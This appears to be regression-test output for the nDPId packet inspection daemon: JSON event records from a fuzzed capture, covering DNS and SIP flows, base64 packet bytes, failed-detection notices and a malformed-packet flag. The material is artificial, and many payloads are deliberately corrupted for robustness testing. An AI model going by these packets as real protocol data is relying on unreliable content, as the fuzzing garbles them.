+00467{"flow_id":227,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":634,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470987,"pkt_ts_usec":237142,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbAYAAIARS0vAqAECwKgBAQsAADUANFW+1AYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaVR5AmRrAAAhAAE="} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":635,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470989,"pkt_ts_usec":238019,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAABIbAdtAIARS07AqAECwKgBAQsAADUANFW+1AYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaVN5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":635,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00467{"flow_id":227,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":636,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470993,"pkt_ts_usec":243427,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbAgAAIARS0nAqAECwKgBAQsAADUANFW+1AYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":637,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":1,"flow_first_seen":1120470984353,"flow_last_seen":0,"flow_tot_l4_data_len":332,"flow_min_l4_data_len":332,"flow_max_l4_data_len":332,"flow_avg_l4_data_len":332,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.201","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":637,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":4,"flow_first_seen":1120470385615,"flow_last_seen":1120470394622,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2776,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":637,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":1,"flow_first_seen":1120470983860,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2815,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":637,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":233,"flow_packet_id":1,"flow_first_seen":1120470985511,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"81.168.1.2","dst_ip":"212.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":637,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":1,"flow_first_seen":1120470985348,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"212.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":637,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":1,"flow_first_seen":1120470985504,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"214.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":637,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":230,"flow_packet_id":1,"flow_first_seen":1120470985418,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"37.115.0.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":637,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":234,"flow_packet_id":1,"flow_first_seen":1120471001245,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2822,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":234,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":637,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471001,"pkt_ts_usec":245112,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEbDoAAIARSxvAqAECwKgBAQsGADUAMBixDAgAAAABEAAAAAAAATEBMAEwAzHvNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":637,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":234,"flow_packet_id":1,"flow_first_seen":1120471001245,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2822,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.1_7.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":638,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471001,"pkt_ts_usec":246611,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AODtAW4lcwBUADRWCABFqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":638,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":639,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":235,"flow_packet_id":1,"flow_first_seen":1120471001263,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.234.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01031{"flow_id":235,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":639,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471001,"pkt_ts_usec":263229,"pkt_caplen":506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":506,"pkt_l4_len":472,"pkt":"ADBUADRWAODtAW69CABFAAHsbDsAAIARFQbAqAEC1OohIxPEE8QB2K3LUkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ejloRzRiS25wODg4NjAxNi00NGIxNGZlMzE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiA8c2lwOjM1MTA0NzIzQHNpcC5jeWJlcmNpdHkuZGs+O3RhZz04Nzk3MWENClRvOiA8c2lwOjM1MTA0NzIzQHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlEOiAyOTg1ODFHNy00NjViMDc1MkAyOTg1ODA1MS00NjViMDdiMnMKQ29udGFjdDogcGVsIDxzaXA6MzUxMDQ3MjNAMTkyLjE2OC4xLjI6NTA2MDtsaW5lPTdkMzY1NThmMzEzNjcwNTE+O2V4cGlyZXM9MTIwMDtxBDAuNTAwDQpFeHBpcmVzOiAxMjAwDQpDU2VxOiA1IFJFR0lTVEVSDQpD\/G50ZW50LUxlbmd0aDogMA0KTWF4LUZvcndhYmRzOiA3MA0KVXNlci1BZ2VudDoiTmVybyBTSVBQUyBJUCBQaG9uZSBWZXJzaW9uIDIuOC41MS4xNg0KDQo="} +00520{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":639,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":235,"flow_packet_id":1,"flow_first_seen":1120471001263,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.234.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +01009{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":640,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471001,"pkt_ts_usec":405003,"pkt_caplen":522,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":522,"pkt_l4_len":0,"pkt":"AODtAW69ADBUADRWCABFAEH8AABAADcRijHU8iEjwKgBAhPEE8QB6DHXU0lQLzIuMCA0MDEgVW5hdXRob3JpemVkDQpDYWxsLUlEOiAyOTg1ODE0N4M0NjViMDc1MkAyMTg1ODA1MS00NjViMDdiMg0KQ1MxcTogNSBSRUdJU1RFXw0KRnJvbTogWnNpcDozNTEwNDcyM0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9ODc5NzFhDQpUbzpqPHNpcDozNTEwNDcyM0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9MDAtMDQwNzQtMTcwMWJhYzktMWRhYTBiNGM1DQpWaWE6IFNJJXMALjAvVURQIDE5Mi4xNjguMS4yO3JlY2VpdmVkPTgwLjIzMC4yMTkuNzA7cnBvcnQ9NTA2MDticmFuY2g9ejloRzRiS25wODg4NjAxNi00NGIxNGZlMzE5Mi4xNjguMS4yDQpXV1ctQXV0aGVudGljYXRlOiBEaWdlc3QgcmVhbG09InNpcC5jeWJlcmNpdHkuZGsiLG5vbmNlPSIxNzAxYmFiZDJhZDY3JXMANWU2ZDZiZjE1NDQyYSVzACxvcGFxdWU9IjE3MDFhMTM1MWY3MDc5NSIsc3RhbGU9ZmFsc2UsYWxnb3JpdGhtPU1ENQ0KQ29udGVuLy1MZW5ndGg6IDANCg0K"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":640,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":488} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":641,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":1,"flow_first_seen":1120471001714,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2823,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":236,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":641,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471001,"pkt_ts_usec":714162,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbDwAAIARSxXAqAECwKgBAQsHADUANKe0ggkBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":641,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":1,"flow_first_seen":1120471001714,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2823,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":236,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":642,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471002,"pkt_ts_usec":706801,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbD8gAIARSxTAqAECwKgBAQsHADUANKe0gjgBAAABAAAAAAAABF9zaXAEXXVkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":643,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471004,"pkt_ts_usec":709848,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ALlUADRWAODtAW69CABFAABIbD4Au4ARSxNYqAECwKgBAQsHADUANKe0ggkBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":643,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00467{"flow_id":236,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":644,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471006,"pkt_ts_usec":712546,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbEcAAIARSwrAqAECwKgBAQsHADUANKe0ggkBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAApAAE="} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":644,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":3,"flow_first_seen":1120471001714,"flow_last_seen":1120471006712,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2823,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":41,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":236,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":645,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471010,"pkt_ts_usec":718658,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW6kCABFAABIbEgAAIARSwnAqAECwKgBAQsHADUANKe0ggkBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":645,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":4,"flow_first_seen":1120471001714,"flow_last_seen":1120471010718,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2823,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":646,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":235,"flow_packet_id":1,"flow_first_seen":1120471001263,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.234.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":646,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":234,"flow_packet_id":1,"flow_first_seen":1120471001245,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2822,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":646,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":1,"flow_first_seen":1120471018720,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2824,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":237,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":646,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471018,"pkt_ts_usec":720186,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEbEkAAIARSwzAqAECwKgBAQsIADUAMBesDQsAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":646,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":1,"flow_first_seen":1120471018720,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2824,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00493{"flow_id":237,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":647,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471018,"pkt_ts_usec":721702,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CwgAR8InDQuAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAgQAAJxAACwlsb2NhbGhvc3QA"} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":647,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":2,"flow_first_seen":1120471018720,"flow_last_seen":1120471018721,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2824,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00769{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":649,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471018,"pkt_ts_usec":870717,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":342,"pkt_l4_len":0,"pkt":"AODtAW69ADBUADRWCABFAAFIAABACDcRiuXU8iEjwKgBAhPEE8QBNCHFU0lQLzIuMCAxMDAgVHJ5aW5nDQpDYWxsLUlEOiAyOTg1ODE0qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":649,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":308} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":652,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":1,"flow_first_seen":1120471019307,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2825,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":238,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":652,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471019,"pkt_ts_usec":307986,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbEwAAIARSwXAqAECwKgBAQsJADUANMyuXQ0BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":652,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":1,"flow_first_seen":1120471019307,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2825,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":238,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":654,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471020,"pkt_ts_usec":302115,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbE4AAIARSwPAqAECwKgBAQsJADUANMyuXQ0BAAABAAAAAAAAcF9zaXAEX3VkcANzaXAJY3liZXJjaXT5AmRrAAAhAAE="} +00681{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":654,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":2,"flow_first_seen":1120471019307,"flow_last_seen":1120471020302,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2825,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":238,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":656,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471022,"pkt_ts_usec":305496,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbFAAAIARSwHAqAECwKgBAQsJADUANMyuXQ0BAAABAAAAAAAABF+qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 